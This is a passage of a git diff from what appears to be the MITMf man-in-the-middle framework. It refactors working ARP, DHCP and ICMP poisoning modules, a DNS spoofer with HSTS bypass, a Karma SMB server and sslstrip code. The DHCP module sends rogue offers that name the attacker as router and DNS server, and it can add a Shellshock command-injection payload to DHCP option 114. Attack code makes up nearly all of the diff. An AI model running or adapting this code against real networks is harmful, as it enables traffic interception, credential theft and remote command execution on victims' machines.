self.ignore = [] + + self.targets = self.get_range(options.targets) self.arpmode = options.arpmode self.debug = False self.send = True self.interval = 3 self.interface = options.interface + self.myip = options.ip self.mymac = options.mac - - if self.gatewaymac is None: - sys.exit("Error: Could not resolve gateway's MAC address") + self.arp_cache = {} log.debug("gatewayip => {}".format(self.gatewayip)) log.debug("gatewaymac => {}".format(self.gatewaymac)) log.debug("targets => {}".format(self.targets)) + log.debug("ignore => {}".format(self.ignore)) + log.debug("ip => {}".format(self.myip)) log.debug("mac => {}".format(self.mymac)) log.debug("interface => {}".format(self.interface)) log.debug("arpmode => {}".format(self.arpmode)) log.debug("interval => {}".format(self.interval)) - set_ip_forwarding(1) - iptables().flush() - iptables().http(options.port) + def start(self): + + #create a L3 and L2 socket, to be used later to send ARP packets + #this doubles performance since send() and sendp() open and close a socket on each packet + self.s = conf.L3socket(iface=self.interface) + self.s2 = conf.L2socket(iface=self.interface) if self.arpmode == 'rep': - t = threading.Thread(name='ARPpoisoner-rep', target=self.poison_arp_rep) + t = threading.Thread(name='ARPpoisoner-rep', target=self.poison, args=('is-at',)) elif self.arpmode == 'req': - t = threading.Thread(name='ARPpoisoner-req', target=self.poison_arp_req) + t = threading.Thread(name='ARPpoisoner-req', target=self.poison, args=('who-has',)) t.setDaemon(True) t.start() if self.targets is None: + log.debug('Starting ARPWatch') t = threading.Thread(name='ARPWatch', target=self.start_arp_watch) t.setDaemon(True) t.start() - def get_target_range(self, targets): + def get_range(self, targets): if targets is None: return None try: - targetList = [] + target_list = [] for target in targets.split(','): if '/' in target: - targetList.append(IPNetwork(target)) + target_list.extend(list(IPNetwork(target))) elif '-' in target: - first_half = target.split('-')[0] - second_half = first_half + target.split('-')[1] - targetList.append(IPRange(first_half, second_half)) + start_addr = IPAddress(target.split('-')[0]) + try: + end_addr = IPAddress(target.split('-')[1]) + ip_range = IPRange(start_addr, end_addr) + except AddrFormatError: + end_addr = list(start_addr.words) + end_addr[-1] = target.split('-')[1] + end_addr = IPAddress('.'.join(map(str, end_addr))) + ip_range = IPRange(start_addr, end_addr) + + target_list.extend(list(ip_range)) else: - targetList.append(IPAddress(target)) + target_list.append(IPAddress(target)) - return targetList - except AddrFormatError as e: + return target_list + + except AddrFormatError: sys.exit("Specified an invalid IP address/range/network as target") def start_arp_watch(self): - sniff(prn=self.arp_watch_callback, filter="arp", store=0) + try: + sniff(prn=self.arp_watch_callback, filter="arp", store=0) + except Exception as e: + if "Interrupted system call" not in e: + log.error("[ARPWatch] Exception occurred when invoking sniff(): {}".format(e)) + pass def arp_watch_callback(self, pkt): - if self.send is True: #Prevents sending packets on exiting + if self.send is True: if ARP in pkt and pkt[ARP].op == 1: #who-has only #broadcast mac is 00:00:00:00:00:00 packet = None @@ -117,7 +137,7 @@ class ARPpoisoner: #print str(pkt[ARP].pdst) #ip of destination (Who is ...?) if (str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and str(pkt[ARP].pdst) == self.gatewayip and self.myip != str(pkt[ARP].psrc)): - log.debug("[ARPWatch] {} is asking where the Gateway is. Sending reply: I'm the gateway biatch!'".format(pkt[ARP].psrc)) + log.debug("[ARPWatch] {} is asking where the Gateway is. Sending the \"I'm the gateway biatch!\" reply!".format(pkt[ARP].psrc)) #send repoison packet packet = ARP() packet.op = 2 @@ -126,7 +146,7 @@ class ARPpoisoner: packet.pdst = str(pkt[ARP].psrc) elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip != str(pkt[ARP].pdst)): - log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: I'm {} biatch!".format(pkt[ARP].pdst, pkt[ARP].pdst)) + log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"I'm {} biatch!\" reply!".format(pkt[ARP].pdst, pkt[ARP].pdst)) #send repoison packet packet = ARP() packet.op = 2 @@ -135,7 +155,7 @@ class ARPpoisoner: packet.pdst = str(pkt[ARP].pdst) elif (str(pkt[ARP].hwsrc) == self.gatewaymac and str(pkt[ARP].hwdst) == '00:00:00:00:00:00' and self.myip == str(pkt[ARP].pdst)): - log.debug("[ARPWatch] Gateway asking where {} is. Sending reply: This is the h4xx0r box!".format(pkt[ARP].pdst)) + log.debug("[ARPWatch] Gateway asking where {} is. Sending the \"This is the h4xx0r box!\" reply!".format(pkt[ARP].pdst)) packet = ARP() packet.op = 2 @@ -145,165 +165,87 @@ class ARPpoisoner: try: if packet is not None: - send(packet, verbose=self.debug, iface=self.interface) + self.s.send(packet) except Exception as e: if "Interrupted system call" not in e: log.error("[ARPWatch] Exception occurred while sending re-poison packet: {}".format(e)) - pass - def poison_arp_rep(self): + def resolve_target_mac(self, targetip): + targetmac = None + + try: + targetmac = self.arp_cache[targetip] # see if we already resolved that address + log.debug('{} has already been resolved'.format(targetip)) + except KeyError: + #This following replaces getmacbyip(), much faster this way + packet = Ether(dst='ff:ff:ff:ff:ff:ff')/ARP(op="who-has", pdst=targetip) + try: + resp, _ = sndrcv(self.s2, packet, timeout=2, verbose=False) + except Exception as e: + resp= '' + if "Interrupted system call" not in e: + log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) + + if len(resp) > 0: + targetmac = resp[0][1].hwsrc + self.arp_cache[targetip] = targetmac # shove that address in our cache + log.debug("Resolved {} => {}".format(targetip, targetmac)) + else: + log.debug("Unable to resolve MAC address of {}".format(targetip)) + + return targetmac + + def poison(self, arpmode): + sleep(2) while self.send: if self.targets is None: - pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="is-at") - sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 + self.s2.send(Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op=arpmode)) elif self.targets: - #Since ARP spoofing relies on knowing the targets MAC address, this whole portion is just error handling in case we can't resolve it for target in self.targets: + targetip = str(target) - if type(target) is IPAddress: - targetip = str(target) + if (targetip != self.myip) and (target not in self.ignore): + targetmac = self.resolve_target_mac(targetip) - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: + if targetmac is not None: try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="is-at"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="is-at", ), iface=self.interface, verbose=self.debug) - + log.debug("Poisoning {} <-> {}".format(targetip, self.gatewayip)) + self.s.send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op=arpmode)) + self.s.send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op=arpmode)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - print_exc() - pass sleep(self.interval) - def poison_arp_req(self): - while self.send: - - if self.targets is None: - pkt = Ether(src=self.mymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.mymac, psrc=self.gatewayip, op="who-has") - sendp(pkt, iface=self.interface, verbose=self.debug) #sends at layer 2 - - elif self.targets: - - for target in self.targets: - - if type(target) is IPAddress: - targetip = str(target) - try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=targetip, psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=targetip, hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: - try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - send(ARP(pdst=str(targetip), psrc=self.gatewayip, hwdst=targetmac, op="who-has"), iface=self.interface, verbose=self.debug) - send(ARP(pdst=self.gatewayip, psrc=str(targetip), hwdst=self.gatewaymac, op="who-has"), iface=self.interface, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - sleep(self.interval) - - def options(self, options): - options.add_argument('--gateway', dest='gateway', type=str, help='Gateway ip address') - options.add_argument('--targets', dest='targets', type=str, help='Specify host/s to poison [if ommited will default to subnet]') - options.add_argument('--arpmode', dest='arpmode', default='rep', choices=["rep", "req"], help='ARP Spoofing mode: replies (rep) or requests (req) [default: rep]') - - def on_shutdown(self, options): + def stop(self): self.send = False sleep(3) - self.interval = 1 - count = 5 + count = 2 - if self.targets: + if self.targets is None: + log.info("Restoring subnet connection with {} packets".format(count)) + pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at") + for i in range(0, count): + self.s2.send(pkt) + + elif self.targets: for target in self.targets: + targetip = str(target) + targetmac = self.resolve_target_mac(targetip) - if type(target) is IPAddress: - targetip = str(target) - + if targetmac is not None: + log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) try: - targetmac = getmacbyip(targetip) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) - - send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - + for i in range(0, count): + self.s.send(ARP(op="is-at", pdst=self.gatewayip, psrc=targetip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac)) + self.s.send(ARP(op="is-at", pdst=targetip, psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac)) except Exception as e: if "Interrupted system call" not in e: log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - if (type(target) is IPRange) or (type(target) is IPNetwork): - for targetip in target: - try: - targetmac = getmacbyip(str(targetip)) - - if targetmac is None: - log.debug("Unable to resolve MAC address of {}".format(targetip)) - - elif targetmac: - log.info("Restoring connection {} <-> {} with {} packets per host".format(targetip, self.gatewayip, count)) - - send(ARP(op="is-at", pdst=self.gatewayip, psrc=str(targetip), hwdst="ff:ff:ff:ff:ff:ff", hwsrc=targetmac), iface=self.interface, count=count, verbose=self.debug) - send(ARP(op="is-at", pdst=str(targetip), psrc=self.gatewayip, hwdst="ff:ff:ff:ff:ff:ff", hwsrc=self.gatewaymac), iface=self.interface, count=count, verbose=self.debug) - - except Exception as e: - if "Interrupted system call" not in e: - log.error("Exception occurred while poisoning {}: {}".format(targetip, e)) - pass - - elif self.targets is None: - log.info("Restoring subnet connection with {} packets".format(count)) - pkt = Ether(src=self.gatewaymac, dst='ff:ff:ff:ff:ff:ff')/ARP(hwsrc=self.gatewaymac, psrc=self.gatewayip, op="is-at") - sendp(pkt, inter=self.interval, count=count, iface=self.interface, verbose=self.debug) #sends at layer 2 - - set_ip_forwarding(0) - iptables().flush() + #close the sockets + self.s.close() + self.s2.close() diff --git a/core/poisoners/dhcp/DHCPpoisoner.py b/core/poisoners/dhcp/DHCPpoisoner.py index d5d74d4..6871384 100644 --- a/core/poisoners/dhcp/DHCPpoisoner.py +++ b/core/poisoners/dhcp/DHCPpoisoner.py @@ -20,6 +20,8 @@ import logging import threading import binascii import random + +from netaddr import IPAddress, IPNetwork, IPRange, AddrFormatError from core.logger import logger from scapy.all import * @@ -28,98 +30,120 @@ log = logger().setup_logger("DHCPpoisoner", formatter) class DHCPpoisoner(): - def __init__(self, interface, dhcpcfg, ip, mac): - self.interface = interface - self.ip_address = ip - self.mac_address = mac - self.shellshock = None - self.debug = False - self.dhcpcfg = dhcpcfg - self.rand_number = [] - self.dhcp_dic = {} + def __init__(self, options, dhcpcfg): + self.interface = options.interface + self.ip_address = options.ip + self.mac_address = options.mac + self.shellshock = options.shellshock + self.debug = False + self.dhcpcfg = dhcpcfg + self.dhcp_dic = {} - def start(self): - t = threading.Thread(name="dhcp_spoof", target=self.dhcp_sniff, args=(self.interface,)) - t.setDaemon(True) - t.start() + log.debug("interface => {}".format(self.interface)) + log.debug("ip => {}".format(self.ip_address)) + log.debug("mac => {}".format(self.mac_address)) + log.debug("shellshock => {}".format(self.shellshock)) + log.debug("dhcpcfg => {}".format(self.dhcpcfg)) - def dhcp_sniff(self, interface): - sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=interface) + def start(self): + self.s2 = conf.L2socket(iface=self.interface) - def dhcp_rand_ip(self): - pool = self.dhcpcfg['ip_pool'].split('-') - trunc_ip = pool[0].split('.'); del(trunc_ip[3]) - max_range = int(pool[1]) - min_range = int(pool[0].split('.')[3]) - number_range = range(min_range, max_range) - for n in number_range: - if n in self.rand_number: - number_range.remove(n) - rand_number = random.choice(number_range) - self.rand_number.append(rand_number) - rand_ip = '.'.join(trunc_ip) + '.' + str(rand_number) + t = threading.Thread(name="DHCPpoisoner", target=self.dhcp_sniff) + t.setDaemon(True) + t.start() - return rand_ip + def stop(self): + self.s2.close() - def dhcp_callback(self, resp): - if resp.haslayer(DHCP): - xid = resp[BOOTP].xid - mac_addr = resp[Ether].src - raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - if xid in self.dhcp_dic.keys(): - client_ip = self.dhcp_dic[xid] - else: - client_ip = self.dhcp_rand_ip() - self.dhcp_dic[xid] = client_ip + def dhcp_sniff(self): + try: + sniff(filter="udp and (port 67 or 68)", prn=self.dhcp_callback, iface=self.interface) + except Exception as e: + if "Interrupted system call" not in e: + log.error("Exception occurred while poisoning: {}".format(e)) - if resp[DHCP].options[0][1] is 1: - log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) - log.info("Sending DHCP OFFER") - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "offer"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240), - "end"])) + def dhcp_rand_ip(self): + pool = self.dhcpcfg['ip_pool'] + try: + if '/' in pool: + ips = list(IPNetwork(pool)) + return str(random.choice(ips)) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + elif '-' in pool: + start_addr = IPAddress(pool.split('-')[0]) + try: + end_addr = IPAddress(pool.split('-')[1]) + ips = list(IPRange(start_addr, end_addr)) + except AddrFormatError: + end_addr = list(start_addr.words) + end_addr[-1] = pool.split('-')[1] - sendp(packet, iface=self.interface, verbose=self.debug) + end_addr = IPAddress('.'.join(map(str, end_addr))) + ips = list(IPRange(start_addr, end_addr)) - if resp[DHCP].options[0][1] is 3: - log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) - packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / - IP(src=self.ip_address, dst='255.255.255.255') / - UDP(sport=67, dport=68) / - BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / - DHCP(options=[("message-type", "ack"), - ('server_id', self.ip_address), - ('subnet_mask', self.dhcpcfg['subnet']), - ('router', self.ip_address), - ('lease_time', 172800), - ('renewal_time', 86400), - ('rebinding_time', 138240)])) + return str(random.choice(ips)) - try: - packet[DHCP].options.append(tuple(('name_server', self.dhcpcfg['dns_server']))) - except KeyError: - pass + log.error('Specified invalid CIDR/Network range in DHCP pool option') + except AddrFormatError: + log.error('Specified invalid CIDR/Network range in DHCP pool option') - if self.shellshock: - log.info("Sending DHCP ACK with shellshock payload") - packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) - packet[DHCP].options.append("end") - else: - log.info("Sending DHCP ACK") - packet[DHCP].options.append("end") + def dhcp_callback(self, resp): + if resp.haslayer(DHCP): + log.debug('Saw a DHCP packet') + xid = resp[BOOTP].xid + mac_addr = resp[Ether].src + raw_mac = binascii.unhexlify(mac_addr.replace(":", "")) - sendp(packet, iface=self.interface, verbose=self.debug) \ No newline at end of file + if xid in self.dhcp_dic.keys(): + client_ip = self.dhcp_dic[xid] + else: + client_ip = self.dhcp_rand_ip() + self.dhcp_dic[xid] = client_ip + + if resp[DHCP].options[0][1] == 1: + log.info("Got DHCP DISCOVER from: " + mac_addr + " xid: " + hex(xid)) + log.info("Sending DHCP OFFER") + + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "offer"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('name_server', self.ip_address), + ('dns_server', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240), + "end"])) + + self.s2.send(packet) + + if resp[DHCP].options[0][1] == 3: + log.info("Got DHCP REQUEST from: " + mac_addr + " xid: " + hex(xid)) + + packet = (Ether(src=self.mac_address, dst='ff:ff:ff:ff:ff:ff') / + IP(src=self.ip_address, dst='255.255.255.255') / + UDP(sport=67, dport=68) / + BOOTP(op='BOOTREPLY', chaddr=raw_mac, yiaddr=client_ip, siaddr=self.ip_address, xid=xid) / + DHCP(options=[("message-type", "ack"), + ('server_id', self.ip_address), + ('subnet_mask', self.dhcpcfg['subnet']), + ('router', self.ip_address), + ('name_server', self.ip_address), + ('dns_server', self.ip_address), + ('lease_time', 172800), + ('renewal_time', 86400), + ('rebinding_time', 138240)])) + + if self.shellshock: + log.info("Sending DHCP ACK with shellshock payload") + packet[DHCP].options.append(tuple((114, "() { ignored;}; " + self.shellshock))) + packet[DHCP].options.append("end") + else: + log.info("Sending DHCP ACK") + packet[DHCP].options.append("end") + + self.s2.send(packet) diff --git a/core/poisoners/icmp/ICMPpoisoner.py b/core/poisoners/icmp/ICMPpoisoner.py index 94a9986..9232bad 100644 --- a/core/poisoners/icmp/ICMPpoisoner.py +++ b/core/poisoners/icmp/ICMPpoisoner.py @@ -18,26 +18,22 @@ import logging import threading -import binascii -import random -from base64 import b64decode -from urllib import unquote from time import sleep from core.logger import logger -from scapy.all import * +from scapy.all import IP, ICMP, UDP, sendp formatter = logging.Formatter("%(asctime)s [ICMPpoisoner] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("ICMPpoisoner", formatter) class ICMPpoisoner(): - def __init__(self, interface, target, gateway, ip_address): + def __init__(self, options): - self.target = target - self.gateway = gateway - self.interface = interface - self.ip_address = ip_address + self.target = options.target + self.gateway = options.gateway + self.interface = options.interface + self.ip_address = options.ip self.debug = False self.send = True self.icmp_interval = 2 diff --git a/core/sergioproxy/ProxyPlugins.py b/core/sergioproxy/ProxyPlugins.py index 0dc9083..d1576f7 100644 --- a/core/sergioproxy/ProxyPlugins.py +++ b/core/sergioproxy/ProxyPlugins.py @@ -52,6 +52,7 @@ class ProxyPlugins: plugin_mthds = {} plugin_list = [] + all_plugins = [] __shared_state = {} diff --git a/core/servers/dns/DNSchef.py b/core/servers/dns/DNSchef.py index fc19c42..fe410fd 100755 --- a/core/servers/dns/DNSchef.py +++ b/core/servers/dns/DNSchef.py @@ -47,7 +47,7 @@ from core.logger import logger from mitmflib.dnslib import * from IPy import IP -formatter = logging.Formatter("%(asctime)s %(clientip)s [DNSChef] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") +formatter = logging.Formatter("%(asctime)s %(clientip)s [DNS] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") log = logger().setup_logger("DNSChef", formatter) # DNSHandler Mixin. The class contains generic functions to parse DNS requests and @@ -300,6 +300,8 @@ class DNSHandler(): # Obtain a response from a real DNS server. def proxyrequest(self, request, host, port="53", protocol="udp"): + clientip = {'clientip': self.client_address[0]} + reply = None try: if DNSChef().ipv6: @@ -337,12 +339,13 @@ class DNSHandler(): sock.close() - except Exception, e: + except Exception as e: log.warning("Could not proxy request: {}".format(e), extra=clientip) else: return reply def hstsbypass(self, real_domain, fake_domain, nameservers, d): + clientip = {'clientip': self.client_address[0]} log.info("Resolving '{}' to '{}' for HSTS bypass".format(fake_domain, real_domain), extra=clientip) @@ -477,7 +480,7 @@ class DNSChef(ConfigWatcher): self.startUDP() except socket.error as e: if "Address already in use" in e: - shutdown("\n[DNSChef] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) + shutdown("\n[DNS] Unable to start DNS server on port {}: port already in use".format(self.config['MITMf']['DNS']['port'])) # Initialize and start the DNS Server def startUDP(self): diff --git a/core/servers/http/HTTPserver.py b/core/servers/http/HTTPserver.py index 923977f..28f3396 100644 --- a/core/servers/http/HTTPserver.py +++ b/core/servers/http/HTTPserver.py @@ -17,13 +17,16 @@ # import logging import threading +import sys +from core.utils import shutdown from core.configwatcher import ConfigWatcher from flask import Flask class HTTPserver(ConfigWatcher): server = Flask("HTTPserver") + func_list = [] __shared_state = {} @@ -31,6 +34,16 @@ class HTTPserver(ConfigWatcher): self.__dict__ = self.__shared_state def start_flask(self): + + @self.server.route('/', defaults={'path': '/'}) + @self.server.route('/') + def catch_all(path): + for func in self.func_list: + resp = func(path) + if resp: + return resp + return path + self.server.run(debug=False, host='0.0.0.0', port=int(self.config['MITMf']['HTTP']['port'])) def start(self): @@ -39,6 +52,9 @@ class HTTPserver(ConfigWatcher): server_thread.setDaemon(True) server_thread.start() + def add_endpoint(self, function): + self.func_list.append(function) + def setup_http_logger(self): formatter = logging.Formatter("%(asctime)s [HTTP] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") flask_logger = logging.getLogger('werkzeug') diff --git a/core/servers/smb/KarmaSMB.py b/core/servers/smb/KarmaSMB.py old mode 100644 new mode 100755 index d363c93..446e131 --- a/core/servers/smb/KarmaSMB.py +++ b/core/servers/smb/KarmaSMB.py @@ -49,14 +49,16 @@ # hosting. *CAREFUL!!!* # + import sys import os import argparse import logging import ntpath import ConfigParser +from threading import Thread -from mitmflib.impacket import LOG as logger +from mitmflib.impacket.examples import logger from mitmflib.impacket import smbserver, smb, version import mitmflib.impacket.smb3structs as smb2 from mitmflib.impacket.smb import FILE_OVERWRITE, FILE_OVERWRITE_IF, FILE_WRITE_DATA, FILE_APPEND_DATA, GENERIC_WRITE @@ -65,8 +67,10 @@ from mitmflib.impacket.nt_errors import STATUS_USER_SESSION_DELETED, STATUS_SUCC from mitmflib.impacket.smbserver import SRVSServer, decodeSMBString, findFirst2, STATUS_SMB_BAD_TID, encodeSMBString, \ getFileTime, queryPathInformation -class KarmaSMBServer(): + +class KarmaSMBServer(Thread): def __init__(self, smb_challenge, smb_port, smb2Support = False): + Thread.__init__(self) self.server = 0 self.defaultFile = None self.extensions = {} @@ -105,7 +109,7 @@ class KarmaSMBServer(): if smb2Support: smbConfig.set("global", "SMB2Support", "True") - self.server = smbserver.SMBSERVER(('0.0.0.0',int(smb_port)), config_parser = smbConfig) + self.server = smbserver.SMBSERVER(('0.0.0.0', int(smb_port)), config_parser = smbConfig) self.server.processConfigFile() # Unregistering some dangerous and unwanted commands @@ -144,7 +148,6 @@ class KarmaSMBServer(): respSetup = '' respParameters = '' respData = '' - errorCode = STATUS_SUCCESS findFirst2Parameters = smb.SMBFindFirst2_Parameters( recvPacket['Flags2'], data = parameters) # 1. Let's grab the extension and map the file's contents we will deliver @@ -159,11 +162,6 @@ class KarmaSMBServer(): else: targetFile = self.defaultFile - if (len(data) > 0): - findFirst2Data = smb.SMBFindFirst2_Data(data) - else: - findFirst2Data = '' - if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = connData['ConnectedShares'][recvPacket['Tid']]['path'] @@ -282,9 +280,7 @@ class KarmaSMBServer(): errorCode = 0 queryPathInfoParameters = smb.SMBQueryPathInformation_Parameters(flags = recvPacket['Flags2'], data = parameters) - if len(data) > 0: - queryPathInfoData = smb.SMBQueryPathInformation_Data(data) - + if connData['ConnectedShares'].has_key(recvPacket['Tid']): path = '' try: @@ -327,7 +323,7 @@ class KarmaSMBServer(): connData = smbServer.getConnectionData(connId) # We're closing the connection trying to flush the client's # cache. - if connData['MS15011']['StopConnection'] == True: + if connData['MS15011']['StopConnection'] is True: return [smb2.SMB2Error()], None, STATUS_USER_SESSION_DELETED return self.origsmb2Close(connId, smbServer, recvPacket) @@ -391,7 +387,7 @@ class KarmaSMBServer(): connData = smbServer.getConnectionData(connId) respSMBCommand = smb2.SMB2QueryDirectory_Response() - queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) + #queryDirectoryRequest = smb2.SMB2QueryDirectory(recvPacket['Data']) errorCode = 0xff respSMBCommand['Buffer'] = '\x00' diff --git a/core/servers/smb/SMBserver.py b/core/servers/smb/SMBserver.py index 1cd78b9..0d238ca 100644 --- a/core/servers/smb/SMBserver.py +++ b/core/servers/smb/SMBserver.py @@ -25,7 +25,7 @@ class SMBserver(ConfigWatcher): try: if self.mode == 'normal': - formatter = logging.Formatter("%(asctime)s [SMBserver] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") + formatter = logging.Formatter("%(asctime)s [SMB] %(message)s", datefmt="%Y-%m-%d %H:%M:%S") self.conf_impacket_logger(formatter) server = smbserver.SimpleSMBServer(listenPort=self.port) @@ -62,8 +62,6 @@ class SMBserver(ConfigWatcher): LOG.setLevel(logging.INFO) LOG.propagate = False - logging.getLogger('smbserver').setLevel(logging.INFO) - logging.getLogger('impacket').setLevel(logging.INFO) fileHandler = logging.FileHandler("./logs/mitmf.log") streamHandler = logging.StreamHandler(sys.stdout) diff --git a/core/sslstrip/ClientRequest.py b/core/sslstrip/ClientRequest.py index 0bcb6a7..b140da8 100644 --- a/core/sslstrip/ClientRequest.py +++ b/core/sslstrip/ClientRequest.py @@ -160,11 +160,8 @@ class ClientRequest(Request): log.debug("Sending spoofed favicon response") self.sendSpoofedFaviconResponse() - elif (self.urlMonitor.isSecureLink(client, url) or ('securelink' in headers)): - if 'securelink' in headers: - del headers['securelink'] - - log.debug("Sending request via SSL ({})".format((client,url))) + elif self.urlMonitor.isSecureLink(client, url): + log.debug("Sending request via SSL/TLS: {}".format(url)) self.proxyViaSSL(address, self.method, path, postData, headers, self.urlMonitor.getSecurePort(client, url)) else: diff --git a/core/sslstrip/ServerConnection.py b/core/sslstrip/ServerConnection.py index 24bfa3f..3051696 100644 --- a/core/sslstrip/ServerConnection.py +++ b/core/sslstrip/ServerConnection.py @@ -104,8 +104,6 @@ class ServerConnection(HTTPClient): def connectionMade(self): log.debug("HTTP connection made.") - self.clientInfo["clientip"] = self.client.getClientIP() - try: user_agent = parse(self.headers['user-agent']) @@ -120,6 +118,8 @@ class ServerConnection(HTTPClient): self.clientInfo["browser"] = "Other" self.clientInfo["browserv"] = "Other" + self.clientInfo["clientip"] = self.client.getClientIP() + self.plugins.hook() self.sendRequest() self.sendHeaders() @@ -206,8 +206,8 @@ class ServerConnection(HTTPClient): data = self.replaceSecureLinks(data) data = self.plugins.hook()['data'] - log.debug("Read from server {} bytes of data:\n{}".format(len(data), data)) - #log.debug("Read from server {} bytes of data".format(len(data))) + #log.debug("Read from server {} bytes of data:\n{}".format(len(data), data)) + log.debug("Read from server {} bytes of data".format(len(data))) if (self.contentLength != None): self.client.setHeader('Content-Length', len(data)) diff --git a/core/utils.py b/core/utils.py index 7f38f4b..ce1b2a1 100644 --- a/core/utils.py +++ b/core/utils.py @@ -20,6 +20,8 @@ import os import logging import re import sys + +from commands import getstatusoutput from core.logger import logger from core.sergioproxy.ProxyPlugins import ProxyPlugins from scapy.all import get_if_addr, get_if_hwaddr @@ -33,10 +35,15 @@ def shutdown(message=None): sys.exit(message) def set_ip_forwarding(value): - log.debug("Setting ip forwarding to {}".format(value)) - with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: - file.write(str(value)) - file.close() + status, result = getstatusoutput('sysctl --help') + if status == 0: + log.debug("Setting ip forwarding to {} using sysctl".format(value)) + os.system('sysctl -w net.ipv4.ip_forward={} &> /dev/null'.format(value)) #for OSX + else: + log.debug("Setting ip forwarding to {}".format(value)) + with open('/proc/sys/net/ipv4/ip_forward', 'w') as file: + file.write(str(value)) + file.close() def get_ip(interface): try: @@ -52,7 +59,7 @@ def get_mac(interface): try: mac_address = get_if_hwaddr(interface) return mac_address - except Exception, e: + except Exception as e: shutdown("Error retrieving MAC address from 